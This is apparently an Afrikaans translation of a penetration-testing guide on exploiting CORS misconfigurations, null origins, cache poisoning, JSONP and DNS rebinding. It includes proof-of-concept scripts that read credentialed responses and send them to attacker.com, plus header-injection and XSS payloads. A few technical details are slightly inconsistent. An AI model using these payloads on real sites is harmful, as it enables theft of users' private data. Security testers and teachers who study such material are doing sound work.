CORS - Misconfigurations & Bypass

Wat is CORS?

Cross-Origin Resource Sharing (CORS) standaard stel bedieners in staat om te definieer wie toegang tot hul bates kan hê en watter HTTP versoekmetodes toegelaat word van eksterne bronne.

'n Selfde-oorsprong beleid vereis dat 'n bediener wat 'n hulpbron versoek en die bediener wat die hulpbron aanbied dieselfde protokol (bv. http://), domeinnaam (bv. internal-web.com), en poort (bv. 80) deel. Onder hierdie beleid is slegs webbladsye van dieselfde domein en poort toegelaat om toegang tot die hulpbronne te hê.

Die toepassing van die selfde-oorsprong beleid in die konteks van http://normal-website.com/example/example.html word soos volg geïllustreer:

*Internet Explorer ignoreer die poortnommer in die afdwinging van die selfde-oorsprong beleid, wat hierdie toegang toelaat.

Access-Control-Allow-Origin Header

Hierdie header kan meervoudige oorspronge toelaat, 'n null waarde, of 'n wildcard *. Tog, geen blaaiers ondersteun meervoudige oorspronge, en die gebruik van die wildcard * is onderhewig aan beperkings. (Die wildcard moet alleen gebruik word, en die gebruik daarvan saam met Access-Control-Allow-Credentials: true is nie toegelaat nie.)

Hierdie header word uitgereik deur 'n bediener in reaksie op 'n kruis-domein hulpbron versoek wat deur 'n webwerf geïnisieer is, met die blaaiers wat outomaties 'n Origin header byvoeg.

Access-Control-Allow-Credentials Header

Deur verstek, kruis-oorsprong versoeke word gemaak sonder geloofsbriewe soos koekies of die Owerheid header. Tog, 'n kruis-domein bediener kan die lees van die antwoord toelaat wanneer geloofsbriewe gestuur word deur die Access-Control-Allow-Credentials header op true te stel.

As dit op true gestel word, sal die blaaiers geloofsbriewe (koekies, owerheid headers, of TLS kliënt sertifikate) oordra.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Pre-flight request

Understanding Pre-flight Requests in Cross-Domain Communication

Wanneer 'n kruis-domein versoek onder spesifieke toestande geïnisieer word, soos om 'n nie-standaard HTTP-metode (enige iets anders as HEAD, GET, POST) te gebruik, nuwe koppe in te voer, of 'n spesiale Content-Type kopwaarde te gebruik, kan 'n pre-flight versoek vereis word. Hierdie voorlopige versoek, wat die OPTIONS metode benut, dien om die bediener in kennis te stel van die komende kruis-oorsprong versoek se bedoelings, insluitend die HTTP-metodes en koppe wat dit van plan is om te gebruik.

Die Cross-Origin Resource Sharing (CORS) protokol vereis hierdie pre-flight kontrole om die haalbaarheid van die aangevraagde kruis-oorsprong operasie te bepaal deur die toegelate metodes, koppe, en die betroubaarheid van die oorsprong te verifieer. Vir 'n gedetailleerde begrip van watter toestande die behoefte aan 'n pre-flight versoek omseil, verwys na die omvattende gids wat deur Mozilla Developer Network (MDN) verskaf word.

Dit is belangrik om op te let dat die afwesigheid van 'n pre-flight versoek nie die vereiste vir die antwoord om magtigingskoppe te dra, ontken nie. Sonder hierdie koppe is die blaaiers nie in staat om die antwoord van die kruis-oorsprong versoek te verwerk nie.

Oorweeg die volgende illustrasie van 'n pre-flight versoek wat daarop gemik is om die PUT metode saam met 'n pasgemaakte kop genaamd Special-Request-Header te gebruik:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

In reaksie kan die bediener koptekste teruggee wat die aanvaarbare metodes, die toegelate oorsprong, en ander CORS-beleid besonderhede aandui, soos hieronder getoon:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

• Access-Control-Allow-Headers: Hierdie koptekst spesifiseer watter koptekste tydens die werklike versoek gebruik kan word. Dit word deur die bediener gestel om die toegelate koptekste in versoeke van die kliënt aan te dui.

• Access-Control-Expose-Headers: Deur hierdie koptekst informeer die bediener die kliënt oor watter koptekste as deel van die antwoord blootgestel kan word, benewens die eenvoudige antwoordkoptekste.

• Access-Control-Max-Age: Hierdie koptekst dui aan hoe lank die resultate van 'n pre-flight versoek gebuffer kan word. Die bediener stel die maksimum tyd, in sekondes, wat die inligting wat deur 'n pre-flight versoek teruggestuur word, hergebruik mag word.

• Access-Control-Request-Headers: Gebruik in pre-flight versoeke, word hierdie koptekst deur die kliënt gestel om die bediener te informeer oor watter HTTP-koptekste die kliënt in die werklike versoek wil gebruik.

• Access-Control-Request-Method: Hierdie koptekst, wat ook in pre-flight versoeke gebruik word, word deur die kliënt gestel om aan te dui watter HTTP-metode in die werklike versoek gebruik sal word.

• Origin: Hierdie koptekst word outomaties deur die blaaiers gestel en dui die oorsprong van die kruis-oorsprong versoek aan. Dit word deur die bediener gebruik om te beoordeel of die inkomende versoek toegelaat of geweier moet word op grond van die CORS-beleid.

Let daarop dat gewoonlik (afhangende van die inhoudstipe en koptekste wat gestel is) in 'n GET/POST versoek geen pre-flight versoek gestuur word (die versoek word direk gestuur), maar as jy toegang wil hê tot die koptekste/liggaam van die antwoord, moet dit 'n Access-Control-Allow-Origin koptekst bevat wat dit toelaat. Daarom beskerm CORS nie teen CSRF nie (maar dit kan nuttig wees).

Plaaslike Netwerk Versoeke Pre-flight versoek

1. Access-Control-Request-Local-Network: Hierdie koptekst is ingesluit in die kliënt se versoek om aan te dui dat die navraag op 'n plaaslike netwerkbron gemik is. Dit dien as 'n merk om die bediener te informeer dat die versoek van binne die plaaslike netwerk afkomstig is.

2. Access-Control-Allow-Local-Network: In reaksie gebruik bedieners hierdie koptekst om te kommunikeer dat die aangevraagde bron toegelaat word om met entiteite buite die plaaslike netwerk gedeel te word. Dit dien as 'n groen lig vir die deel van bronne oor verskillende netwerkgrense, terwyl dit beheerde toegang verseker terwyl sekuriteitsprotokolle gehandhaaf word.

'n geldige antwoord wat die plaaslike netwerk versoek toelaat moet ook in die antwoord die koptekst Access-Controls-Allow-Local_network: true hê :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Exploitable misconfigurations

Daar is waargeneem dat die instelling van Access-Control-Allow-Credentials na true 'n voorvereiste is vir die meeste werklike aanvalle. Hierdie instelling laat die blaaier toe om kredensiale te stuur en die antwoord te lees, wat die aanval se doeltreffendheid verbeter. Sonder dit, verminder die voordeel van om 'n blaaiervraag te laat doen teenoor om dit self te doen, aangesien dit onmoontlik word om 'n gebruiker se koekies te benut.

Exception: Exploiting Network Location as Authentication

Daar bestaan 'n uitsondering waar die slagoffer se netwerk ligging as 'n vorm van autentisering optree. Dit laat toe dat die slagoffer se blaaiers as 'n proxy gebruik word, wat IP-gebaseerde autentisering omseil om toegang tot intranet toepassings te verkry. Hierdie metode deel ooreenkomste in impak met DNS rebinding, maar is eenvoudiger om te benut.

Reflection of Origin in Access-Control-Allow-Origin

Die werklike scenario waar die Origin koptekst se waarde in Access-Control-Allow-Origin weerspieël word, is teoreties onwaarskynlik weens beperkings op die kombinasie van hierdie koptekste. Tog kan ontwikkelaars wat CORS vir verskeie URL's wil aktiveer, die Access-Control-Allow-Origin koptekst dinamies genereer deur die Origin koptekst se waarde te kopieer. Hierdie benadering kan kwesbaarhede inbring, veral wanneer 'n aanvaller 'n domein gebruik met 'n naam wat ontwerp is om wettig te lyk, en sodoende die valideringslogika mislei.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Exploiting the null Origin

Die null oorsprong, gespesifiseer vir situasies soos omleidings of plaaslike HTML-lêers, het 'n unieke posisie. Sommige toepassings voeg hierdie oorsprong by die witlys om plaaslike ontwikkeling te vergemaklik, wat onbedoeld enige webwerf toelaat om 'n null oorsprong na te boots deur 'n gesandbokse iframe, en so CORS-beperkings te omseil.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

Wanneer jy 'n domein witlys teëkom, is dit noodsaaklik om te toets vir omseil geleenthede, soos om die aanvaller se domein by 'n gewhitelist domein te voeg of om subdomein oorneem kwesbaarhede te benut. Daarbenewens mag gereelde uitdrukkings wat vir domein validasie gebruik word, nuanses in domeinnaam konvensies oor die hoof sien, wat verdere omseil geleenthede bied.

Advanced Regular Expression Bypasses

Regex patrone konsentreer tipies op alfanumeriese, kolletjie (.), en koppelteken (-) karakters, terwyl ander moontlikhede verwaarloos word. Byvoorbeeld, 'n domeinnaam wat ontwerp is om karakters in te sluit wat anders geïnterpreteer word deur blaaiers en regex patrone, kan sekuriteitskontroles omseil. Safari, Chrome, en Firefox se hantering van onderstreep karakters in subdomeine illustreer hoe sulke verskille benut kan word om domein validasielogika te omseil.

Vir meer inligting en instellings van hierdie omseil kontrole: https://www.corben.io/advanced-cors-techniques/ en https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

From XSS inside a subdomain

Ontwikkelaars implementeer dikwels defensiewe meganismes om teen CORS eksploitatie te beskerm deur domeine wat toegelaat word om inligting aan te vra, te witlys. Ten spyte van hierdie voorsorgmaatreëls is die stelsel se sekuriteit nie foutloos nie. Die teenwoordigheid van selfs 'n enkele kwesbare subdomein binne die gewhitelist domeine kan die deur oopmaak vir CORS eksploitatie deur ander kwesbaarhede, soos XSS (Cross-Site Scripting), te benut.

Om te illustreer, oorweeg die scenario waar 'n domein, requester.com, gewhitelist is om toegang te verkry tot hulpbronne van 'n ander domein, provider.com. Die bediener-kant konfigurasie mag iets soos hierdie lyk:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

In hierdie opstelling is alle subdomeine van requester.com toegelaat om toegang te verkry. As 'n subdomein, sê sub.requester.com, egter gecompromitteer is met 'n XSS-kwesbaarheid, kan 'n aanvaller hierdie swakheid benut. Byvoorbeeld, 'n aanvaller met toegang tot sub.requester.com kan die XSS-kwesbaarheid gebruik om CORS-beleide te omseil en kwaadwillig toegang te verkry tot hulpbronne op provider.com.

Bediener-kant kasbesmetting

Van hierdie navorsing

Dit is moontlik dat deur die benutting van bediener-kant kasbesmetting deur HTTP-koptekstinjeksie, 'n gestoor Cross-Site Scripting (XSS) kwesbaarheid geïnduseer kan word. Hierdie scenario ontvou wanneer 'n toepassing versuim om die Origin-koptekst vir onwettige karakters te saniteer, wat 'n kwesbaarheid skep, veral vir Internet Explorer en Edge gebruikers. Hierdie blaaiers behandel (0x0d) as 'n wettige HTTP-koptekstterminator, wat lei tot HTTP-koptekstinjeksie kwesbaarhede.

Oorweeg die volgende versoek waar die Origin-koptekst gemanipuleer word:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer en Edge interpreteer die antwoord as:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Terwyl dit nie haalbaar is om hierdie kwesbaarheid direk te benut deur 'n webblaaier 'n verkeerd geformateerde kop te laat stuur nie, kan 'n vervaardigde versoek handmatig gegenereer word met behulp van gereedskap soos Burp Suite. Hierdie metode kan lei tot 'n bediener-kant kas wat die antwoord stoor en per ongeluk aan ander dien. Die vervaardigde payload is daarop gemik om die karakterstel van die bladsy na UTF-7 te verander, 'n karakterkodering wat dikwels geassosieer word met XSS-kwesbaarhede weens sy vermoë om karakters op 'n manier te kodifiseer wat as skrip in sekere kontekste uitgevoer kan word.

Vir verdere lees oor gestoor XSS-kwesbaarhede, sien PortSwigger.

Let wel: Die benutting van HTTP-kop-inspuitkwesbaarhede, veral deur middel van bediener-kant kasbesmetting, beklemtoon die kritieke belangrikheid van die validering en sanitasie van alle gebruiker-geleverde insette, insluitend HTTP-koppe. Gebruik altyd 'n robuuste sekuriteitsmodel wat insetvalidasie insluit om sulke kwesbaarhede te voorkom.

Kliënt-kant kasbesmetting

Uit hierdie navorsing

In hierdie scenario word 'n voorbeeld van 'n webbladsy waargeneem wat die inhoud van 'n pasgemaakte HTTP-kop sonder behoorlike kodering reflekteer. Spesifiek reflekteer die webbladsy die inhoud wat ingesluit is in 'n X-User-id kop, wat kwaadwillige JavaScript kan insluit, soos gedemonstreer deur die voorbeeld waar die kop 'n SVG-beeldetiket bevat wat ontwerp is om JavaScript-kode op laai uit te voer.

Cross-Origin Resource Sharing (CORS) beleide laat die sending van pasgemaakte koppe toe. egter, sonder dat die antwoord direk deur die blaaier gerender word weens CORS-beperkings, mag die nut van so 'n inspuiting beperk lyk. Die kritieke punt ontstaan wanneer die blaaier se kasgedrag oorweeg word. As die Vary: Origin kop nie gespesifiseer is nie, word dit moontlik vir die kwaadwillige antwoord om deur die blaaier gestoor te word. Gevolglik kan hierdie gestoor antwoord direk gerender word wanneer na die URL genavigeer word, wat die behoefte aan direkte rendering tydens die aanvanklike versoek omseil. Hierdie meganisme verbeter die betroubaarheid van die aanval deur kliënt-kant kas te benut.

Om hierdie aanval te illustreer, word 'n JavaScript-voorbeeld verskaf, ontwerp om in die omgewing van 'n webbladsy uitgevoer te word, soos deur 'n JSFiddle. Hierdie skrip voer 'n eenvoudige aksie uit: dit stuur 'n versoek na 'n gespesifiseerde URL met 'n pasgemaakte kop wat die kwaadwillige JavaScript bevat. Na suksesvolle voltooiing van die versoek, probeer dit om na die teiken-URL te navigeer, wat moontlik die uitvoering van die ingespuitte skrip kan aktiveer as die antwoord gestoor is sonder behoorlike hantering van die Vary: Origin kop.

Hier is 'n samegevatte uiteensetting van die JavaScript wat gebruik word om hierdie aanval uit te voer:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, ook bekend as Cross-Site Script Inclusion, is 'n tipe kwesbaarheid wat voordeel trek uit die feit dat die Same Origin Policy (SOP) nie van toepassing is wanneer hulpbronne met die script-tag ingesluit word nie. Dit is omdat skripte in staat moet wees om van verskillende domeine ingesluit te word. Hierdie kwesbaarheid laat 'n aanvaller toe om enige inhoud wat met die script-tag ingesluit is, te bekom en te lees.

Hierdie kwesbaarheid word veral belangrik wanneer dit kom by dinamiese JavaScript of JSONP (JSON met Padding), veral wanneer omgewingsgesag-inligting soos koekies vir outentisering gebruik word. Wanneer 'n hulpbron van 'n ander gasheer aangevra word, word die koekies ingesluit, wat dit beskikbaar maak vir die aanvaller.

Om hierdie kwesbaarheid beter te verstaan en te verminder, kan jy die BurpSuite-inprop gebruik wat beskikbaar is by https://github.com/kapytein/jsonp. Hierdie inprop kan help om potensiële XSSI-kwesbaarhede in jou webtoepassings te identifiseer en aan te spreek.

Lees meer oor die verskillende tipes XSSI en hoe om dit te benut hier.

Probeer om 'n callback parameter in die versoek toe te voeg. Miskien was die bladsy voorberei om die data as JSONP te stuur. In daardie geval sal die bladsy die data terugstuur met Content-Type: application/javascript wat die CORS-beleid sal omseil.

Maklike (nuttelose?) omseiling

Een manier om die Access-Control-Allow-Origin beperking te omseil, is deur 'n webtoepassing te vra om 'n versoek namens jou te maak en die antwoord terug te stuur. In hierdie scenario sal die geloofsbriewe van die finale slagoffer egter nie gestuur word nie, aangesien die versoek aan 'n ander domein gemaak word.

1. CORS-escape: Hierdie hulpmiddel bied 'n proxy wat jou versoek saam met sy kopstukke deurstuur, terwyl dit ook die Origin-kopstuk vervals om by die aangevraagde domein te pas. Dit omseil effektief die CORS-beleid. Hier is 'n voorbeeld van gebruik met XMLHttpRequest:

2. simple-cors-escape: Hierdie hulpmiddel bied 'n alternatiewe benadering tot die proxy van versoeke. In plaas daarvan om jou versoek soos dit is oor te dra, maak die bediener sy eie versoek met die gespesifiseerde parameters.

Iframe + Popup Omseiling

Jy kan CORS kontroles soos e.origin === window.origin omseil deur 'n iframe te skep en daarvan 'n nuwe venster te open. Meer inligting op die volgende bladsy:

DNS Rebinding via TTL

DNS rebinding via TTL is 'n tegniek wat gebruik word om sekere sekuriteitsmaatreëls te omseil deur DNS-rekords te manipuleer. Hier is hoe dit werk:

1. Die aanvaller skep 'n webblad en laat die slagoffer dit toegang.

2. Die aanvaller verander dan die DNS (IP) van hul eie domein om na die slagoffer se webblad te wys.

3. Die slagoffer se blaaier kas die DNS-antwoord, wat 'n TTL (Time to Live) waarde kan hê wat aandui hoe lank die DNS-rekord as geldig beskou moet word.

4. Wanneer die TTL verval, maak die slagoffer se blaaiers 'n nuwe DNS-versoek, wat die aanvaller in staat stel om JavaScript-kode op die slagoffer se bladsy uit te voer.

5. Deur beheer oor die IP van die slagoffer te handhaaf, kan die aanvaller inligting van die slagoffer versamel sonder om enige koekies na die slagoffer-bediener te stuur.

Dit is belangrik om te noem dat blaaiers kasmeganismes het wat onmiddellike misbruik van hierdie tegniek kan voorkom, selfs met lae TTL-waardes.

DNS rebinding kan nuttig wees om eksplisiete IP-kontroles wat deur die slagoffer uitgevoer word, te omseil of vir scenario's waar 'n gebruiker of bot op dieselfde bladsy vir 'n uitgebreide tyd bly, wat die kas toelaat om te verval.

As jy 'n vinnige manier nodig het om DNS rebinding te misbruik, kan jy dienste soos https://lock.cmpxchg8b.com/rebinder.html gebruik.

Om jou eie DNS rebinding-bediener te laat loop, kan jy hulpmiddels soos DNSrebinder (https://github.com/mogwailabs/DNSrebinder) gebruik. Dit behels om jou plaaslike poort 53/udp bloot te stel, 'n A-rekord wat daarna verwys (bv. ns.example.com) te skep, en 'n NS-rekord wat na die voorheen geskepte A-subdomein verwys (bv. ns.example.com). Enige subdomein van die ns.example.com subdomein sal dan deur jou gasheer opgelos word.

Jy kan ook 'n publiek lopende bediener by http://rebind.it/singularity.html verken vir verdere begrip en eksperimentering.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding is 'n ander tegniek wat gebruik word om die kasmeganisme van blaaiers te omseil en 'n tweede DNS-versoek af te dwing. Hier is hoe dit werk:

1. Aanvanklik, wanneer die slagoffer 'n DNS-versoek maak, word dit beantwoord met die aanvaller se IP-adres.

2. Om die kasverdediging te omseil, benut die aanvaller 'n dienswerker. Die dienswerker oorstroom die DNS-kas, wat effektief die gekasde aanvaller-bediener naam verwyder.

3. Wanneer die slagoffer se blaaiers 'n tweede DNS-versoek maak, word dit nou beantwoord met die IP-adres 127.0.0.1, wat tipies na die localhost verwys.

Deur die DNS-kas met die dienswerker te oorstroom, kan die aanvaller die DNS-resolusieproses manipuleer en die slagoffer se blaaiers dwing om 'n tweede versoek te maak, hierdie keer wat na die aanvaller se gewenste IP-adres oplos.

DNS Rebinding via Cache

Nog 'n manier om die kasverdediging te omseil, is deur verskeie IP-adresse vir dieselfde subdomein in die DNS-verskaffer te gebruik. Hier is hoe dit werk:

1. Die aanvaller stel twee A-rekords (of 'n enkele A-rekord met twee IPs) op vir dieselfde subdomein in die DNS-verskaffer.

2. Wanneer 'n blaaiers hierdie rekords nagaan, ontvang dit albei IP-adresse.

3. As die blaaiers besluit om die aanvaller se IP-adres eerste te gebruik, kan die aanvaller 'n las wat HTTP-versoeke na dieselfde domein uitvoer, bedien.

4. Maar, sodra die aanvaller die slagoffer se IP-adres bekom, stop hulle om op die slagoffer se blaaiers te antwoord.

5. Die slagoffer se blaaiers, wanneer dit besef dat die domein nie reageer nie, beweeg aan om die tweede gegewe IP-adres te gebruik.

6. Deur toegang tot die tweede IP-adres te verkry, omseil die blaaiers die Same Origin Policy (SOP), wat die aanvaller in staat stel om dit te misbruik en inligting te versamel en te ekfiltreer.

Hierdie tegniek benut die gedrag van blaaiers wanneer verskeie IP-adresse vir 'n domein verskaf word. Deur die antwoorde strategies te beheer en die blaaiers se keuse van IP-adres te manipuleer, kan 'n aanvaller die SOP misbruik en toegang tot inligting van die slagoffer verkry.

Vir meer inligting kan jy kyk na https://unit42.paloaltonetworks.com/dns-rebinding/

Ander Algemene Omseilings

• As interne IP's nie toegelaat word nie, mag hulle vergeet om 0.0.0.0 te verbied (werk op Linux en Mac)

• As interne IP's nie toegelaat word nie, antwoord met 'n CNAME na localhost (werk op Linux en Mac)

• As interne IP's nie toegelaat word nie as DNS-antwoorde, kan jy CNAME's na interne dienste soos www.corporate.internal antwoordgee.

DNS Rebidding Gewapend

Jy kan meer inligting oor die vorige omseilingstegnieke en hoe om die volgende hulpmiddel te gebruik in die praatjie Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin is 'n hulpmiddel om DNS rebinding aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener DNS-naam na die teiken masjien se IP-adres te herbind en om aanvalslas te bedien om kwesbare sagteware op die teiken masjien te benut.

Werklike Beskerming teen DNS Rebinding

• Gebruik TLS in interne dienste

• Versoek outentisering om toegang tot data te verkry

• Valideer die Host-kopstuk

• https://wicg.github.io/private-network-access/: Voorstel om altyd 'n pre-flight versoek te stuur wanneer openbare bedieners toegang tot interne bedieners wil verkry

Hulpmiddels

Fuzz moontlike miskonfigurasies in CORS-beleide

• https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8

• https://github.com/chenjj/CORScanner

• https://github.com/lc/theftfuzzer

• https://github.com/s0md3v/Corsy

• https://github.com/Shivangx01b/CorsMe

• https://github.com/omranisecurity/CorsOne

Verwysings

• https://portswigger.net/web-security/cors

• https://portswigger.net/web-security/cors/access-control-allow-origin

• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS

• https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties

• https://www.codecademy.com/articles/what-is-cors

• https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors

• https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration

• https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b